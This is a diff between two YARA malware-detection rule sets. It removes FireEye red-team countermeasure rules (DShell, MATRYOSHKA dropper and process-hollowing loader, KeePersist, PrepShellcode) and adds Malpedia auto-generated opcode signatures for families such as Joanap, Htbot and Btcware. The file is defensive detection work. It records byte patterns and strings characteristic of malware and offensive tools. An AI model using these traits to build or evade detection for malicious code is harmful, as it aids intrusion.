+rule MALPEDIA_Win_Htbot_Auto : FILE
 {
 	meta:
-		description = "This rule looks for strings specific to the D programming language in combination with a selection of Windows functions that are present within a DShell payload"
-		author = "FireEye"
-		id = "538e150f-0fb9-5a85-9299-9b4a57f8a606"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/supplemental/yara/APT_Backdoor_Win_DShell_2.yar#L4-L132"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e0683f8ee787313cfd2c61cd0995a830"
-		logic_hash = "2b4d33c17cac35153346002c48457d9b46010f1c052df632c647c22c8d96b54c"
-		score = 60
-		quality = 20
-		tags = "FILE"
-		rev = 4
-
-	strings:
-		$dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
-		$dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
-		$dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
-		$dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
-		$dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
-		$dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
-		$dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
-		$dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
-		$dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
-		$dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
-		$dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
-		$ign1 = "--strip-comments"
-		$ign2 = "Usage: rdmd [RDMD AND DMD OPTIONS]"
-		$s1 = "CloseHandle"
-		$s2 = "CommandLineToArgvW"
-		$s3 = "CreateFileA"
-		$s4 = "CreateSemaphoreA"
-		$s5 = "CreateThread"
-		$s6 = "DeleteCriticalSection"
-		$s7 = "DeleteFileA"
-		$s8 = "DuplicateHandle"
-		$s9 = "EnterCriticalSection"
-		$s10 = "ExitProcess"
-		$s11 = "ExitThread"
-		$s12 = "ExpandEnvironmentStringsW"
-		$s13 = "FileTimeToDosDateTime"
-		$s14 = "FindClose"
-		$s15 = "FindFirstFileA"
-		$s16 = "FindFirstFileW"
-		$s17 = "FindNextFileA"
-		$s18 = "FindNextFileW"
-		$s19 = "FormatMessageW"
-		$s20 = "FreeEnvironmentStringsA"
-		$s21 = "FreeEnvironmentStringsW"
-		$s22 = "FreeLibrary"
-		$s23 = "GetACP"
-		$s24 = "GetCPInfo"
-		$s25 = "GetCommandLineA"
-		$s26 = "GetCommandLineW"
-		$s27 = "GetConsoleOutputCP"
-		$s28 = "GetConsoleScreenBufferInfo"
-		$s29 = "GetCurrentProcess"
-		$s30 = "GetCurrentThread"
-		$s31 = "GetCurrentThreadId"
-		$s32 = "GetEnvironmentStrings"
-		$s33 = "GetEnvironmentStringsW"
-		$s34 = "GetEnvironmentVariableA"
-		$s35 = "GetEnvironmentVariableW"
-		$s36 = "GetExitCodeThread"
-		$s37 = "GetFileAttributesW"
-		$s38 = "GetFileType"
-		$s39 = "GetLastError"
-		$s40 = "GetModuleFileNameA"
-		$s41 = "GetModuleHandleA"
-		$s42 = "GetOEMCP"
-		$s43 = "GetProcAddress"
-		$s44 = "GetProcessHeap"
-		$s45 = "GetStdHandle"
-		$s46 = "GetStringTypeA"
-		$s47 = "GetSystemInfo"
-		$s48 = "GetThreadContext"
-		$s49 = "GetTickCount"
-		$s50 = "GetTimeZoneInformation"
-		$s51 = "GetVersion"
-		$s52 = "GlobalAlloc"
-		$s53 = "GlobalFree"
-		$s54 = "GlobalMemoryStatus"
-		$s55 = "HeapAlloc"
-		$s56 = "HeapFree"
-		$s57 = "HeapReAlloc"
-		$s58 = "InitializeCriticalSection"
-		$s59 = "IsDebuggerPresent"
-		$s60 = "LCMapStringA"
-		$s61 = "LeaveCriticalSection"
-		$s62 = "LoadLibraryA"
-		$s63 = "LoadLibraryW"
-		$s64 = "LocalFree"
-		$s65 = "MessageBoxA"
-		$s66 = "MultiByteToWideChar"
-		$s67 = "QueryPerformanceCounter"
-		$s68 = "QueryPerformanceFrequency"
-		$s69 = "RaiseException"
-		$s70 = "ReadFile"
-		$s71 = "RegCloseKey"
-		$s72 = "RegCreateKeyExW"
-		$s73 = "RegDeleteKeyW"
-		$s74 = "RegDeleteValueW"
-		$s75 = "RegEnumKeyExW"
-		$s76 = "RegEnumValueW"
-		$s77 = "RegFlushKey"
-		$s78 = "RegOpenKeyExW"
-		$s79 = "RegOpenKeyW"
-		$s80 = "RegQueryInfoKeyW"
-		$s81 = "RegQueryValueExW"
-		$s82 = "RegSetValueExW"
-		$s83 = "ReleaseSemaphore"
-		$s84 = "ResumeThread"
-		$s85 = "RtlCaptureContext"
-		$s86 = "RtlUnwind"
-		$s87 = "SetConsoleCtrlHandler"
-		$s88 = "SetEnvironmentVariableW"
-		$s89 = "SetFilePointer"
-		$s90 = "SetHandleCount"
-		$s91 = "SetLastError"
-		$s92 = "Sleep"
-		$s93 = "SuspendThread"
-		$s94 = "SwitchToThread"
-		$s95 = "SystemTimeToTzSpecificLocalTime"
-		$s96 = "TryEnterCriticalSection"
-		$s97 = "TzSpecificLocalTimeToSystemTime"
-		$s98 = "UnhandledExceptionFilter"
-		$s99 = "VirtualAlloc"
-		$s100 = "VirtualFree"
-		$s101 = "WaitForSingleObject"
-		$s102 = "WideCharToMultiByte"
-		$s103 = "WriteConsoleA"
-		$s104 = "WriteFile"
-		$s105 = "lstrlenW"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "9061a5e4-8534-51fe-80a9-1a440b66e0d7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htbot_auto.yar#L1-L128"
+		license_url = "N/A"
+		logic_hash = "90f98baa748c169d2b4b8297454f9f854e4138797b2c83ac6d83acccfa4dd9b0"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 6a00 68???????? 51 ff15???????? 85c0 7524 }
+		$sequence_1 = { 56 57 8b7c2440 8b474c 89442414 c7474c00000000 }
+		$sequence_2 = { 8908 8b15???????? 8d0c52 83c2ff a3???????? 8d4488f8 8b0d???????? }
+		$sequence_3 = { 8b11 50 8b4204 ffd0 8bc5 e9???????? 8d77f0 }
+		$sequence_4 = { 51 8bc8 ffd2 8bf8 85ff 0f84ccfeffff 8b4604 }
+		$sequence_5 = { 83f801 7e68 8d4d02 6a22 51 }
+		$sequence_6 = { 83c010 894510 c684244402000003 a1???????? 8b500c b9???????? ffd2 }
+		$sequence_7 = { 8903 c744241c00000000 8b7c2424 8b4708 83c708 8378f400 c744241001000000 }
+		$sequence_8 = { 83c010 894514 c684244402000004 a1???????? 8b500c }
+		$sequence_9 = { 51 ff15???????? 8d46f0 8d500c 83c9ff f00fc10a 49 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and filesize >500KB and filesize >700KB and all of ($s*) and 1 of ($dlang*) and not $ign1 and not $ign2
+		7 of them and filesize <196608
 }
-rule FIREEYE_RT_Loader_MSIL_Netassemblyinject_1 : FILE
+rule MALPEDIA_Win_Joanap_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project."
-		author = "FireEye"
-		id = "62a7dc4c-678b-5f13-9661-4679eafe1c72"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETASSEMBLYINJECT/production/yara/Loader_MSIL_NETAssemblyInject_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "9a43df9ee26a44f4db5c2d22fbc1a6c86c5af0c9d44a79c6627a4cc8cf31bb8d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7b68fae3-26c2-54e0-a3e7-133f1581d080"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.joanap_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "e8c4ce689f2f9423d9b3c5df5ab94aca097fbbc5a318100a67230ed53bf34f3c"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide
-		$typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide
-		$typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide
+		$sequence_0 = { 8b8c242c010000 66c74424140200 51 c744241c7f000001 ff15???????? 8d542414 }
+		$sequence_1 = { 56 85c0 57 0f8483000000 53 ff15???????? 50 }
+		$sequence_2 = { 0f8488000000 6a04 e8???????? 8b442414 8d6b06 66897304 }
+		$sequence_3 = { f7d1 49 81f908020000 7332 56 ff15???????? 8bf8 }
+		$sequence_4 = { 750c 8d8c24b8020000 e9???????? 8d8c241b020000 51 56 ffd7 }
+		$sequence_5 = { 85c0 0f85cbfeffff 8b4c2410 51 ff15???????? 57 ff15???????? }
+		$sequence_6 = { ff15???????? 85c0 0f84cf000000 8b4c2420 51 6a01 68ff0f1f00 }
+		$sequence_7 = { 55 8bac2420010000 56 8b35???????? 57 33ff 8b842424010000 }
+		$sequence_8 = { 8b442414 83c018 47 3dd0020000 89442414 0f8c73ffffff 8b742410 }
+		$sequence_9 = { 0bc0 5b 81c470210000 c3 6a01 6820bf0200 8d8c2488010000 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <270336
 }
-rule FIREEYE_RT_Hacktool_MSIL_Keepersist_1 : FILE
+rule MALPEDIA_Win_Salgorea_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
-		author = "FireEye"
-		id = "950a4744-2696-5eb7-8524-7f689cb5dbb0"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEPERSIST/production/yara/HackTool_MSIL_KeePersist_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "eae67c77a64ca07f9ef59a356bb2c3f3131f14e7f17c898ef8857a21090ace0e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "485be719-ad86-58c5-b98c-1fa9d3a194c2"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.salgorea_auto.yar#L1-L163"
+		license_url = "N/A"
+		logic_hash = "a8561e214f866675e949632f523697275b0bd60d695b553a0e222be68943af7d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide
+		$sequence_0 = { 8b5c240c 53 9d 8b5c2404 }
+		$sequence_1 = { 51 66b9b469 66f7f1 f7da }
+		$sequence_2 = { 51 6698 f7db 33d2 b889510000 b98c0b0000 }
+		$sequence_3 = { 66c1e303 f6d1 f8 6633d2 66b8b96a 66b9ada1 66f7f1 }
+		$sequence_4 = { 66c1e306 80eb38 80e6ee f8 f6d1 52 40 }
+		$sequence_5 = { 8b5c2404 f8 99 8b1424 f5 66f7d8 8b442410 }
+		$sequence_6 = { 66c1e804 8b44240c 0fbafa00 0fbcd2 }
+		$sequence_7 = { 8b5c240c 53 d50a 48 d40a 22c9 }
+		$sequence_8 = { a1???????? 8945cc 8d45cc 3930 }
+		$sequence_9 = { 8d87d8010000 50 8d83d8010000 50 }
+		$sequence_10 = { 8d8850040000 8d984c040000 8b4510 8b00 }
+		$sequence_11 = { 8d885c040000 8d9858040000 e9???????? 8b7508 }
+		$sequence_12 = { 8d87d8010000 50 e8???????? 59 59 85c0 }
+		$sequence_13 = { 8d87d8010000 50 8d83b0020000 50 e8???????? 59 }
+		$sequence_14 = { 8d8860010000 0fb701 a801 740a }
+		$sequence_15 = { 8d8840010000 8d9044010000 56 8b750c }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <2007040
 }
-rule FIREEYE_RT_Hacktool_MSIL_Prepshellcode_1 : FILE
+rule MALPEDIA_Win_Silon_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
-		author = "FireEye"
-		id = "32fb6b1d-e01f-5555-8516-088dca2166cf"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PREPSHELLCODE/production/yara/HackTool_MSIL_PrepShellcode_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "aedae87d84275f6589c982c04175ddc0aee3e4f3ae959ced4b4e2294675522e6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "74e356eb-e3ab-55df-a58b-86af4144d8aa"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.silon_auto.yar#L1-L129"
+		license_url = "N/A"
+		logic_hash = "e4ecb086584bedec65219eab1069013db28049e75ec56b31d70ca83f4cf849d8"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide
+		$sequence_0 = { 83ec18 c745f000000000 c745f400000000 c745f800000000 33c0 8945fc }
+		$sequence_1 = { 83c408 8945f4 837df400 7507 33c0 e9???????? c745f800000000 }
+		$sequence_2 = { 81ec3c020000 c785c4fdffff00000000 c745fc00000000 c745f800000000 837d0800 }
+		$sequence_3 = { 0fbe11 83fa61 7c20 8b4508 0345fc 0fbe08 83f97a }
+		$sequence_4 = { 8b4d0c 8b55f8 895104 8b45f4 50 e8???????? 83c404 }
+		$sequence_5 = { 6a00 8d8df4feffff 51 8d95f8feffff 52 6a01 8b4508 }
+		$sequence_6 = { 50 e8???????? 83c408 eb61 8b4d08 }
+		$sequence_7 = { e8???????? 83c404 8b55fc 52 e8???????? 83c404 8945ec }
+		$sequence_8 = { 8b5508 8955e8 837de800 7507 33c0 e9???????? 8b45e8 }
+		$sequence_9 = { 5d c20c00 ff25???????? 60 33c9 8b742424 33c0 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <122880
 }
-rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_1 : FILE
+rule MALPEDIA_Win_Jolob_Auto : FILE
 {
 	meta:
-		description = "matryoshka_process_hollow.rs"
-		author = "FireEye"
-		id = "69919a80-8ed1-5b8c-911a-ceb75570f11f"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "44887551a47ae272d7873a354d24042d"
-		logic_hash = "46e5480dc95ce8b9d8385c2e44a50b21629301535b93833c13cc3db319ac15dd"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a7a30cc7-8517-58f2-b42f-ed67321f20be"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jolob_auto.yar#L1-L126"
+		license_url = "N/A"
+		logic_hash = "7066e8000a5c7d67ee5c483efa94c88c66463d1307008135462062b7827f4ff2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 }
-		$sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 }
-		$sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 }
+		$sequence_0 = { 8bf7 668954242a 668974242e 6683fa0d 750c 66ff442428 }
+		$sequence_1 = { 57 ff7318 e8???????? eb2d 8b7c2428 83c70c 57 }
+		$sequence_2 = { ff15???????? eb2e 8b7e1c e8???????? }
+		$sequence_3 = { 8d45e4 6a10 48 c745f401000000 5b 8945f0 8365f800 }
+		$sequence_4 = { 8d45f0 50 ffb714080000 e8???????? 85c0 75df 40 }
+		$sequence_5 = { 8b442404 85c0 7501 40 50 6842200000 ff15???????? }
+		$sequence_6 = { 8b17 895648 83671000 894714 895f18 890f 8b5104 }
+		$sequence_7 = { 6683fa0b 741a 6683fa02 7532 }
+		$sequence_8 = { 77f5 8bc7 5e c3 33c0 5e c3 }
+		$sequence_9 = { 83ec28 8365f400 53 56 8bf0 8d461c }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		7 of them and filesize <196608
 }
-rule FIREEYE_RT_APT_Dropper_Win_MATRYOSHKA_1 : FILE
+rule MALPEDIA_Win_Kdcsponge_Auto : FILE
 {
 	meta:
-		description = "matryoshka_dropper.rs"
-		author = "FireEye"
-		id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win_MATRYOSHKA_1.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "edcd58ba5b1b87705e95089002312281"
-		logic_hash = "a7bf7599ec9b4b1d09a8c90b70ae565a9396fb31d449da3c1492d6fa336d9c5e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "94fce6ec-ab5d-5082-ad22-afe2db84b161"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kdcsponge_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "8a36b853d0e2d90c09d30257cb4cad3c052e41eeb1a598728e2eabfd12dc7098"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "\x00matryoshka.exe\x00"
-		$s2 = "\x00Unable to write data\x00"
-		$s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
-		$s4 = "\x00.execmdstart/Cfailed to execute process\x00"
+		$sequence_0 = { 80b9b104000001 c6810904000008 0f85bf000000 80b9ad04000000 c781a004000002000000 c7416002001100 7552 }
+		$sequence_1 = { 488b8228040000 4885c0 7507 488b8230040000 4883c002 4803c1 }
+		$sequence_2 = { 7507 c681c504000006 c7814004000003000000 c781ca04000004000000 e9???????? e9???????? 3c01 }
+		$sequence_3 = { 0f85d5000000 80b9ad04000001 0f85bf000000 f681ae04000008 0f84b2000000 488b896c040000 }
+		$sequence_4 = { 898520030000 e8???????? 488d0db15ffcff 48c1e602 0fb784b9c0550400 488d91b04c0400 488d8d24030000 }
+		$sequence_5 = { 488b542450 488b4e08 e8???????? 488d4c2440 ff15???????? 0fb74504 ffc7 }
+		$sequence_6 = { 448d4020 c745c048895c24 488d55c0 c745c420555657 488d0df1480200 c745c841544155 c745cc41564157 }
+		$sequence_7 = { c6830804000001 f20f1005???????? 8b05???????? c7436003000100 eb24 83f807 753d }
+		$sequence_8 = { 7507 c681c504000006 ba65000000 c744243004000000 448bca c744242804000000 448bc2 }
+		$sequence_9 = { c6470801 e9???????? 41b803000000 488d1578f90000 488bcb e8???????? 85c0 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <720896
 }
-rule FIREEYE_RT_APT_Dropper_Win64_MATRYOSHKA_1 : FILE
+rule MALPEDIA_Win_Btcware_Auto : FILE
 {
 	meta:
-		description = "matryoshka_dropper.rs"
-		author = "FireEye"
-		id = "1406aafd-6217-51ef-b3af-107ee88f9c99"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win64_MATRYOSHKA_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "edcd58ba5b1b87705e95089002312281"
-		logic_hash = "23f811f8e9387ca6a1257a31af66de9739733e4728adba0a3e3f74b5e5c0a556"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "66d799b0-12ae-5de4-8213-c0d10e51387d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.btcware_auto.yar#L1-L125"
+		license_url = "N/A"
+		logic_hash = "150a811146243acd5ee4c0630508ee4be9bafcd2cf3745d9f46eb9848c5a7f93"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 }
-		$sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 }
+		$sequence_0 = { 53 ff15???????? 8b4524 83f810 7242 8b4d10 }
+		$sequence_1 = { c7404818c14100 8b4508 6689486c 8b4508 66898872010000 8d4dff 8b4508 }
+		$sequence_2 = { 33c5 8945fc 8b450c 56 8b7508 680a010000 }
+		$sequence_3 = { 33c0 85ff 7e18 0fb78c4490020000 663bce 7406 66894c5440 }
+		$sequence_4 = { 50 8d44241c 50 ff74241c ff15???????? 85c0 7446 }
+		$sequence_5 = { 33db 895610 c746140f000000 8975d4 8955e4 }
+		$sequence_6 = { 8d85f8efffff 50 ffd7 85c0 0f84ac000000 8d85f4efffff }
+		$sequence_7 = { 85c0 0f84ac000000 8d85f4efffff 50 }
+		$sequence_8 = { 6800010000 8d85fcfcffff 50 68???????? ff15???????? 8b35???????? }
+		$sequence_9 = { 8d85e0efffff 50 6a00 6800800000 ffb5f0efffff 8d85fcefffff 50 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		7 of them and filesize <458752
